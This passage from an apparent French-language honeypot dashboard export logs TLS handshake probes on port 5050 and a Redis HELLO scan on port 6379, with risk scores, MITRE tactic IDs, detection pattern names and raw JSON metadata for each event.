|
|
TCP |
5050 · TLS
|
tls
|
Sonde PostgreSQL
postgres probe · via TLS:5050 · (sonde / probe)
|
Moyenne
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
TLS
WAF
—
Recommandation
Surveiller
Tags
tls_no_sni
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
5050
Chemin / cible
—
Service
TLS
Payload
� �Y�8� c���$���W � t��w�[m�� ��M ��"�g˪Q_l��S�F|kqG� "Ի� 2�+�/�,�0̨̩� �� � � � / 5� �#�' <��
Pourquoi cette classification : Type « postgres_probe » (signaux protocolaires) · confiance 49%
Confiance classification
49%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 49 % — Motif catalogue confirmé
Signaux
pat-0369
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
PostgreSQL startup
STUN binding
Minecraft varint handshake
SOCKS5 greeting
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
� �Y�8� c���$���W
� t��w�[m�� ��M
��"�g˪Q_l��S�F|kqG� "Ի� 2�+�/�,�0̨̩� ��
� � � / 5�
�#�' <��
Requête brute (extrait)
� �Y�8� c���$���W � t��w�[m�� ��M ��"�g˪Q_l��S�F|kqG� "Ի� 2�+�/�,�0̨̩� �� � � � / 5� �#�' <�� _ � � 2 + 3����k
Meta JSON brut
{
"tls_ja3_hash": null,
"tls_sni": null,
"bytes_in": 1410,
"payload_entropy": 7.707063546613885,
"port_category": "registered",
"org": "IDDQD-AS",
"service": "tls",
"app_proto": "tls",
"asn": 8452,
"country": "EG",
"dst_port": 5050,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 23,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.8,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 23,
"novelty": 15
},
"risk_score": 35,
"tag_count": 1,
"anomaly_count": 0,
"campaign_key": "c19bc73f3156875f51951b9131595239bcb882e1",
"event_fingerprint": "fd682d0b1a0bd278cb2c4dfef487ba94cbe8c203",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"confidence": 0.49,
"classification_confidence": 0.49,
"precision_score": 58,
"precision_signals": [
"pat-0369"
],
"kb_rule_ids": [
"pat-0369"
],
"matched_patterns": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"PostgreSQL startup",
"STUN binding",
"Minecraft varint handshake",
"SOCKS5 greeting",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 23,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "tls",
"risk_confidence_factor": 49,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "e6fd4e5fbdcabf0f4188430a429b4526",
"path_pattern_hash": "80f3c71fe26f36a0a9399108643f66c5"
},
"target_context": {
"dst_port": 5050,
"service": "tls",
"service_name": "tls",
"risk_score": 35
},
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003Y\ufffd8\ufffd\f\u0006c\ufffd\ufffd\u000e\ufffd$\ufffd\ufffd\ufffdW\n\ufffd\u001d\u0016t\ufffd\u000f\ufffdw\ufffd[m\ufffd\ufffd \ufffd\b\ufffdM\r\ufffd\ufffd\"\ufffd\u0001g\u02ea\u0019Q_l\ufffd\ufffdS\ufffdF|kqG\ufffd \"\u053b\ufffd\u00002\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0000\ufffd\u0000\ufffd\u0000\/\u00005\ufffd\u0012\u0000\n\ufffd#\ufffd'\u0000<\ufffd\u0007\ufffd\u0011\u0000\u0005\u0013\u0001\u0013\u0002\u0013\u0003",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003Y\ufffd8\ufffd\f\u0006c\ufffd\ufffd\u000e\ufffd$\ufffd\ufffd\ufffdW\n\ufffd\u001d\u0016t\ufffd\u000f\ufffdw\ufffd[m\ufffd\ufffd \ufffd\b\ufffdM\r\ufffd\ufffd\"\ufffd\u0001g\u02ea\u0019Q_l\ufffd\ufffdS\ufffdF|kqG\ufffd \"\u053b\ufffd\u00002\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0000\ufffd\u0000\ufffd\u0000\/\u00005\ufffd\u0012\u0000\n\ufffd#\ufffd'\u0000<\ufffd\u0007\ufffd\u0011\u0000\u0005\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005_\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\n\u0000\f\u0000\n\u0011\ufffd\u0000\u001d\u0000\u0017\u0000\u0018\u0000\u0019\u0000\r\u0000\u0016\u0000\u0014\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u00002\u0000\u001a\u0000\u0018\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u0002\u0001\u0002\u0003\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u00003\u0004\ufffd\u0004\ufffd\u0011\ufffd\u0004\ufffdk",
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003Y\ufffd8\ufffd\f\u0006c\ufffd\ufffd\u000e\ufffd$\ufffd\ufffd\ufffdW\n\ufffd\u001d\u0016t\ufffd\u000f\ufffdw\ufffd[m\ufffd\ufffd \ufffd\b\ufffdM\r\ufffd\ufffd\"\ufffd\u0001g\u02ea\u0019Q_l\ufffd\ufffdS\ufffdF|kqG\ufffd \"\u053b\ufffd\u00002\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0000\ufffd\u0000\ufffd\u0000\/\u00005\ufffd\u0012\u0000\n\ufffd#\ufffd'\u0000<\ufffd\u0007\ufffd\u0011\u0000\u0005\u0013\u0001\u0013\u0002\u0013\u0003",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "ea6bfa202efb0323575a86fd4d6f8e18a96618fa",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003Y\ufffd8\ufffd\f\u0006c\ufffd\ufffd\u000e\ufffd$\ufffd\ufffd\ufffdW\n\ufffd\u001d\u0016t\ufffd\u000f\ufffdw\ufffd[m\ufffd\ufffd \ufffd\b\ufffdM\r\ufffd\ufffd\"\ufffd\u0001g\u02ea\u0019Q_l\ufffd\ufffdS\ufffdF|kqG\ufffd \"\u053b\ufffd\u00002\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0000\ufffd\u0000\ufffd\u0000\/\u00005\ufffd\u0012\u0000\n\ufffd#\ufffd'\u0000<\ufffd\u0007\ufffd\u0011\u0000\u0005\u0013\u0001\u0013\u0002\u0013\u0003",
"port": 5050,
"service": "tls",
"service_label_fr": "TLS"
},
"evidence_snippet": "\ufffd\ufffdY\ufffd8\ufffdc\ufffd\ufffd\ufffd$\ufffd\ufffd\ufffdW\n\ufffdt\ufffd\ufffdw\ufffd[m\ufffd\ufffd \ufffd\ufffdM\r\ufffd\ufffd\"\ufffdg\u02eaQ_l\ufffd\ufffdS\ufffdF|kqG\ufffd \"\u053b\ufffd2\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd\ufffd\ufffd\/5\ufffd\n\ufffd#\ufffd'<\ufffd\ufffd",
"attack_vector": "postgres probe \u00b7 via TLS:5050 \u00b7 (sonde \/ probe)",
"target_port_label": "5050 \u00b7 TLS",
"emulator_service": "tls",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"classification_reason_label_fr": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 49,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 23,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "tls",
"service_label_fr": "TLS",
"dst_port": 5050,
"protocol_emulated": null,
"tags_summary": [
"pat-0369"
],
"tags_summary_labels_fr": [
"pat-0369"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-tls",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003Y\ufffd8\ufffd\f\u0006c\ufffd\ufffd\u000e\ufffd$\ufffd\ufffd\ufffdW\n\ufffd\u001d\u0016t\ufffd\u000f\ufffdw\ufffd[m\ufffd\ufffd \ufffd\b\ufffdM\r\ufffd\ufffd\"\ufffd\u0001g\u02ea\u0019Q_l\ufffd\ufffdS\ufffdF|kqG\ufffd \"\u053b\ufffd\u00002\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0000\ufffd\u0000\ufffd\u0000\/\u00005\ufffd\u0012\u0000\n\ufffd#\ufffd'\u0000<\ufffd\u0007\ufffd\u0011\u0000\u0005\u0013\u0001\u0013\u0002\u0013\u0003",
"port": 5050,
"service": "tls",
"service_label_fr": "TLS"
},
"attack_vector": "postgres probe \u00b7 via TLS:5050 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffdY\ufffd8\ufffdc\ufffd\ufffd\ufffd$\ufffd\ufffd\ufffdW\n\ufffdt\ufffd\ufffdw\ufffd[m\ufffd\ufffd \ufffd\ufffdM\r\ufffd\ufffd\"\ufffdg\u02eaQ_l\ufffd\ufffdS\ufffdF|kqG\ufffd \"\u053b\ufffd2\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd\ufffd\ufffd\/5\ufffd\n\ufffd#\ufffd'<\ufffd\ufffd",
"target_port_label": "5050 \u00b7 TLS",
"emulator_service": "tls",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 49 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "tls",
"service_banner": "honeypot-tls",
"service_os": "linux",
"dst_port": "5050"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"tls_no_sni"
]
}
|
|
|
TCP |
5050 · TLS
|
tls
|
Sonde PostgreSQL
postgres probe · via TLS:5050 · (sonde / probe)
|
Moyenne
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
TLS
WAF
—
Recommandation
Surveiller
Tags
tls_no_sni
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
5050
Chemin / cible
—
Service
TLS
Payload
� ��3�� ���<: �=4l�߂ދ�w�`� �[z��"f�*|5�����'td~W��!�� 2�+�/�,�0̨̩� �� � � � / 5� �#�' <��
Pourquoi cette classification : Type « postgres_probe » (signaux protocolaires) · confiance 49%
Confiance classification
49%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 49 % — Motif catalogue confirmé
Signaux
pat-0369
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
PostgreSQL startup
STUN binding
Minecraft varint handshake
SOCKS5 greeting
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
� ��3�� ���<:
�=4l�߂ދ�w�`� �[z��"f�*|5�����'td~W��!�� 2�+�/�,�0̨̩� ��
� � � / 5�
�#�' <��
Requête brute (extrait)
� ��3�� ���<: �=4l�߂ދ�w�`� �[z��"f�*|5�����'td~W��!�� 2�+�/�,�0̨̩� �� � � � / 5� �#�' <�� _ � � 2 + 3�����
Meta JSON brut
{
"tls_ja3_hash": null,
"tls_sni": null,
"bytes_in": 1460,
"payload_entropy": 7.705624485341331,
"port_category": "registered",
"org": "IDDQD-AS",
"service": "tls",
"app_proto": "tls",
"asn": 8452,
"country": "EG",
"dst_port": 5050,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 23,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.8,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 23,
"novelty": 15
},
"risk_score": 35,
"tag_count": 1,
"anomaly_count": 0,
"campaign_key": "c19bc73f3156875f51951b9131595239bcb882e1",
"event_fingerprint": "fd682d0b1a0bd278cb2c4dfef487ba94cbe8c203",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"confidence": 0.49,
"classification_confidence": 0.49,
"precision_score": 58,
"precision_signals": [
"pat-0369"
],
"kb_rule_ids": [
"pat-0369"
],
"matched_patterns": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"PostgreSQL startup",
"STUN binding",
"Minecraft varint handshake",
"SOCKS5 greeting",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 23,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "tls",
"risk_confidence_factor": 49,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "28d1bfcad5c729a18d56364aebe59f2a",
"path_pattern_hash": "80f3c71fe26f36a0a9399108643f66c5"
},
"target_context": {
"dst_port": 5050,
"service": "tls",
"service_name": "tls",
"risk_score": 35
},
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd3\ufffd\ufffd\u000f \ufffd\ufffd\u0003\ufffd<:\r\ufffd\b\u0016=4l\ufffd\u07c2\u078b\ufffdw\ufffd`\ufffd\u05f5 \u0011\u001c\ufffd[z\ufffd\ufffd\"f\ufffd*|5\ufffd\u0011\ufffd\ufffd\u0007\ufffd\ufffd'td~W\ufffd\ufffd!\ufffd\u0001\ufffd\u00002\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0000\ufffd\u0000\ufffd\u0000\/\u00005\ufffd\u0012\u0000\n\ufffd#\ufffd'\u0000<\ufffd\u0007\ufffd\u0011\u0000\u0005\u0013\u0001\u0013\u0002\u0013\u0003",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd3\ufffd\ufffd\u000f \ufffd\ufffd\u0003\ufffd<:\r\ufffd\b\u0016=4l\ufffd\u07c2\u078b\ufffdw\ufffd`\ufffd\u05f5 \u0011\u001c\ufffd[z\ufffd\ufffd\"f\ufffd*|5\ufffd\u0011\ufffd\ufffd\u0007\ufffd\ufffd'td~W\ufffd\ufffd!\ufffd\u0001\ufffd\u00002\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0000\ufffd\u0000\ufffd\u0000\/\u00005\ufffd\u0012\u0000\n\ufffd#\ufffd'\u0000<\ufffd\u0007\ufffd\u0011\u0000\u0005\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005_\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\n\u0000\f\u0000\n\u0011\ufffd\u0000\u001d\u0000\u0017\u0000\u0018\u0000\u0019\u0000\r\u0000\u0016\u0000\u0014\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u00002\u0000\u001a\u0000\u0018\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u0002\u0001\u0002\u0003\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u00003\u0004\ufffd\u0004\ufffd\u0011\ufffd\u0004\ufffd\ufffd",
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd3\ufffd\ufffd\u000f \ufffd\ufffd\u0003\ufffd<:\r\ufffd\b\u0016=4l\ufffd\u07c2\u078b\ufffdw\ufffd`\ufffd\u05f5 \u0011\u001c\ufffd[z\ufffd\ufffd\"f\ufffd*|5\ufffd\u0011\ufffd\ufffd\u0007\ufffd\ufffd'td~W\ufffd\ufffd!\ufffd\u0001\ufffd\u00002\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0000\ufffd\u0000\ufffd\u0000\/\u00005\ufffd\u0012\u0000\n\ufffd#\ufffd'\u0000<\ufffd\u0007\ufffd\u0011\u0000\u0005\u0013\u0001\u0013\u0002\u0013\u0003",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "88faa338c4fcbba7d0d6420f8e34af16f73e7be3",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd3\ufffd\ufffd\u000f \ufffd\ufffd\u0003\ufffd<:\r\ufffd\b\u0016=4l\ufffd\u07c2\u078b\ufffdw\ufffd`\ufffd\u05f5 \u0011\u001c\ufffd[z\ufffd\ufffd\"f\ufffd*|5\ufffd\u0011\ufffd\ufffd\u0007\ufffd\ufffd'td~W\ufffd\ufffd!\ufffd\u0001\ufffd\u00002\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0000\ufffd\u0000\ufffd\u0000\/\u00005\ufffd\u0012\u0000\n\ufffd#\ufffd'\u0000<\ufffd\u0007\ufffd\u0011\u0000\u0005\u0013\u0001\u0013\u0002\u0013\u0003",
"port": 5050,
"service": "tls",
"service_label_fr": "TLS"
},
"evidence_snippet": "\ufffd\ufffd\ufffd3\ufffd\ufffd \ufffd\ufffd\ufffd<:\r\ufffd=4l\ufffd\u07c2\u078b\ufffdw\ufffd`\ufffd\u05f5 \ufffd[z\ufffd\ufffd\"f\ufffd*|5\ufffd\ufffd\ufffd\ufffd\ufffd'td~W\ufffd\ufffd!\ufffd\ufffd2\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd\ufffd\ufffd\/5\ufffd\n\ufffd#\ufffd'<\ufffd\ufffd",
"attack_vector": "postgres probe \u00b7 via TLS:5050 \u00b7 (sonde \/ probe)",
"target_port_label": "5050 \u00b7 TLS",
"emulator_service": "tls",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"classification_reason_label_fr": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 49,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 23,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "tls",
"service_label_fr": "TLS",
"dst_port": 5050,
"protocol_emulated": null,
"tags_summary": [
"pat-0369"
],
"tags_summary_labels_fr": [
"pat-0369"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-tls",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd3\ufffd\ufffd\u000f \ufffd\ufffd\u0003\ufffd<:\r\ufffd\b\u0016=4l\ufffd\u07c2\u078b\ufffdw\ufffd`\ufffd\u05f5 \u0011\u001c\ufffd[z\ufffd\ufffd\"f\ufffd*|5\ufffd\u0011\ufffd\ufffd\u0007\ufffd\ufffd'td~W\ufffd\ufffd!\ufffd\u0001\ufffd\u00002\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0000\ufffd\u0000\ufffd\u0000\/\u00005\ufffd\u0012\u0000\n\ufffd#\ufffd'\u0000<\ufffd\u0007\ufffd\u0011\u0000\u0005\u0013\u0001\u0013\u0002\u0013\u0003",
"port": 5050,
"service": "tls",
"service_label_fr": "TLS"
},
"attack_vector": "postgres probe \u00b7 via TLS:5050 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd\ufffd3\ufffd\ufffd \ufffd\ufffd\ufffd<:\r\ufffd=4l\ufffd\u07c2\u078b\ufffdw\ufffd`\ufffd\u05f5 \ufffd[z\ufffd\ufffd\"f\ufffd*|5\ufffd\ufffd\ufffd\ufffd\ufffd'td~W\ufffd\ufffd!\ufffd\ufffd2\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd\ufffd\ufffd\/5\ufffd\n\ufffd#\ufffd'<\ufffd\ufffd",
"target_port_label": "5050 \u00b7 TLS",
"emulator_service": "tls",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 49 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "tls",
"service_banner": "honeypot-tls",
"service_os": "linux",
"dst_port": "5050"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"tls_no_sni"
]
}
|
|
|
TCP |
6379 · REDIS
|
redis
|
Scan de ports
port scan syn · via REDIS:6379 · (reconnaissance)
|
Élevée
|
Moyen · 42
|
|
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Multi-protocole corrélé (5 min)
Protocole
Commande Redis : *2
Émulateur
REDIS
WAF
—
Recommandation
Surveiller
Tags
mongodb_hello_probe
net_redis_probe
redis_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
6379
Chemin / cible
—
Service
REDIS
Redis
Commande Redis : *2
Payload
*2 $5 hello $1 3
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +14
Risque capteur
Moyen
· 42
Confiance : Confiance 100 % — 3 signal(aux) capteur
Protocole émulé
1
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Scan Burst
Beh Multi Port 60S
Tactiques MITRE
TA0043
User-Agent
—
Règles WAF
—
Payload (extrait)
*2
$5
hello
$1
3
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "2d4e4f415554482041757468656e7469636174696f6e2072657175697265642e0d0a",
"emulator_response_len": 34,
"bytes_in": 22,
"payload_entropy": 3.2221915755066775,
"port_category": "registered",
"org": "IDDQD-AS",
"service": "redis",
"app_proto": "redis",
"asn": 8452,
"country": "EG",
"dst_port": 6379,
"risk_waf": 8,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 36,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.9,
"risk_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0
},
"risk_score": 42,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "e20d40873993cd1d89a8c4597ba770a2e4f089b6",
"event_fingerprint": "9c536ce82edfb6f83700eeb7934e9ac49a41747b",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 293,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 14
},
"named_classification_skipped": false,
"service_name": "redis",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
